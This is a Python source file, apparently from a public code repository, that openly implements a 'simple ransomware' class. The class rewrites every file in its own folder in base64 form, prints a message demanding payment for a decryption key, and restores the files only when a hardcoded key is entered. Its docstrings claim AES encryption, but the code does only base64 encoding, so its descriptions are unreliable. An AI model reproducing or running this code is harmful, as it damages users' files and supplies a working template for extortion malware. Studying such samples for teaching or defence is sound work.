File size: 4,228 Bytes
bb5fa15 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | #!/usr/bin/env python3
""" Implementation of simple ransomware in Python.
"""
import logging
import os
import sys
import base64
class Ransomware:
""" This class represents file encrypting ransomware.
"""
def __init__(self, name):
self._name = name
@property
def name(self):
""" Name of the malware. """
return self._name
@name.setter
def name(self, new_name):
self._name = new_name
@property
def key(self):
""" Key used for encryption of data. """
return "__ransomware_key"
def obtain_key(self):
""" Obtain key from a user. """
return input("Please enter a key: ")
def ransom_user(self):
""" Inform user about encryption of his files. """
print(
"Hi, all your files has been encrypted. Please "
"send 0.1 USD on this address to get decryption"
" key: XYZ."
)
def encrypt_file(self, filename):
""" Encrypt the given file with AES encryption algoritm.
:param str filename: Name of the file.
"""
# Load the content of file.
with open(filename, 'r') as file:
content = file.read()
# Encrypt the file content with base64.
encrypted_data = base64.b64encode(content.encode('utf-8'))
# Rewrite the file with the encoded content.
with open(filename, 'w') as file:
file.write(encrypted_data.decode('utf-8'))
def decrypt_file(self, key, filename):
""" Decrypt the given file with AES encryption algoritm.
:param str key: Decryption key.
:param str filename: Name of the file.
"""
# Load the content of file.
with open(filename, 'r') as file:
content = file.read()
# Decrypt the file content.
decrypted_data = base64.b64decode(content)
# Rewrite the file with the encoded content.
with open(filename, 'w') as file:
content = file.write(decrypted_data.decode('utf-8'))
def get_files_in_folder(self, path):
""" Returns a `list` of all files in the folder.
:param str path: Path to the folder
"""
# List the directory to get all files.
files = []
for file in os.listdir(path):
# For the demostration purposes ignore README.md
# from the repository and this file.
if file == 'README.md' or file == sys.argv[0]:
continue
file_path = os.path.join(path, file)
if os.path.isfile(file_path):
files.append(file_path)
return files
def encrypt_files_in_folder(self, path):
""" Encrypt all files in the given directory specified
by path.
:param str path: Path of the folder to be encrypted.
:returns: Number of encrypted files (`int`).
"""
num_encrypted_files = 0
files = self.get_files_in_folder(path)
# Encrypt each file in the directory.
for file in files:
logging.debug('Encrypting file: {}'.format(file))
self.encrypt_file(file)
num_encrypted_files += 1
self.ransom_user()
return num_encrypted_files
def decrypt_files_in_folder(self, path):
""" Decrypt all files in the given directory specified
by path.
:param str path: Path of the folder to be decrypted.
"""
# Obtain a key from the user.
key = self.obtain_key()
if key != self.key:
print('Wrong key!')
return
files = self.get_files_in_folder(path)
# Decrypt each file in the directory.
for file in files:
self.decrypt_file(key, file)
if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)
# Create ransomware.
ransomware = Ransomware('SimpleRansomware')
# Encrypt files located in the same folder as our ransomware.
path = os.path.dirname(os.path.abspath(__file__))
number_encrypted_files = ransomware.encrypt_files_in_folder(path)
print('Number of encrypted files: {}'.format(number_encrypted_files))
ransomware.decrypt_files_in_folder(path)
|